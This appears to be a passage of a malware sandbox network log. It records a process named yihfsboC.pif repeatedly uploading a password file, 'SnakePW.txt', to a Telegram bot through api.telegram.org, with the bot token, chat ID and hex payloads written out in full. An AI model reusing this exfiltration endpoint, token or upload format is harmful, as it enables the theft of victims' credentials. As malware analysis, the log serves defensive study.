2024-11-26 07:26:14 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0f9b66364c74 Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:14 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 39 62 36 36 33 36 34 63 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0f9b66364c74Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:26:15 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:15 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:15 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 37 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 37 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388973,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605975,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.7	49950	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:14 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd1044355765bf Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:14 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 30 34 34 33 35 35 37 36 35 62 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd1044355765bfContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:26:15 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:15 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:15 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 37 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 37 35 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388974,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605975,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.7	49954	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:16 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0fac6961b0ab Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:16 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 61 63 36 39 36 31 62 30 61 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0fac6961b0abContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:26:17 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:17 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:17 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 37 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 37 36 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388978,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605976,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.7	49956	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:16 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0fb53f2b9fbb Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:16 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 62 35 33 66 32 62 39 66 62 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0fb53f2b9fbbContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:26:17 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:17 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:17 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 38 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 37 37 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388980,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605977,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.7	49958	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:16 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd106900031a3d Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:16 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 30 36 39 30 30 30 33 31 61 33 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd106900031a3dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:24:52Client
2024-11-26 07:26:17 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:17 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:17 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 38 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 37 37 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388982,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605977,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.7	49962	149.154.167.220	443	7924	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:18 UTC	358	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0fc7a70b6000 Host: api.telegram.org Content-Length: 537 Connection: Keep-Alive
2024-11-26 07:26:18 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 63 37 61 37 30 62 36 30 30 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 34 3a 30 33 3a 31 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0fc7a70b6000Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 04:03:12Client
2024-11-26 07:26:19 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:18 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:19 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 38 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 37 38 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388984,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605978,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.7	49963	149.154.167.220	443	7660	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:18 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd0fd2dd57c60f Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:18 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 30 66 64 32 64 64 35 37 63 36 30 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 35 3a 30 34 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd0fd2dd57c60fContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 02:25:04Client
2024-11-26 07:26:19 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 26 Nov 2024 07:26:19 GMT Content-Type: application/json Content-Length: 521 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-26 07:26:19 UTC	521	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 33 38 38 39 38 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 36 30 38 37 36 31 33 39 34 34 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 77 61 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 6e 61 6b 65 69 6d 70 6f 72 74 61 6e 74 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 30 32 35 36 36 32 39 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4e 20 54 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 56 65 72 79 5f 69 6d 70 6f 72 74 6e 61 74 5f 67 75 79 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 32 36 30 35 39 37 39 2c 22 64 6f 63 75 6d 65 6e Data Ascii: {"ok":true,"result":{"message_id":388986,"from":{"id":6087613944,"is_bot":true,"first_name":"Snakeway","username":"Snakeimportant_bot"},"chat":{"id":1802566296,"first_name":"N T","username":"Very_importnat_guy","type":"private"},"date":1732605979,"documen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.7	49964	149.154.167.220	443	7240	C:\Users\Public\Libraries\yihfsboC.pif

Timestamp	Bytes transferred	Direction	Data
2024-11-26 07:26:18 UTC	334	OUT	POST /bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendDocument?chat_id=1802566296&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Tracker%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd10968007cad7 Host: api.telegram.org Content-Length: 537
2024-11-26 07:26:18 UTC	537	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 30 39 36 38 30 30 37 63 61 64 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 66 72 6f 6e 74 64 65 73 6b 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 38 39 39 35 35 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 32 36 2f 31 31 2f 32 30 32 34 20 2f 20 30 32 3a 32 34 3a 35 32 0d 0a 43 6c 69 65 6e 74 20 Data Ascii: --------------------------8dd10968007cad7Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:899552Date and Time: 26/11/2024 / 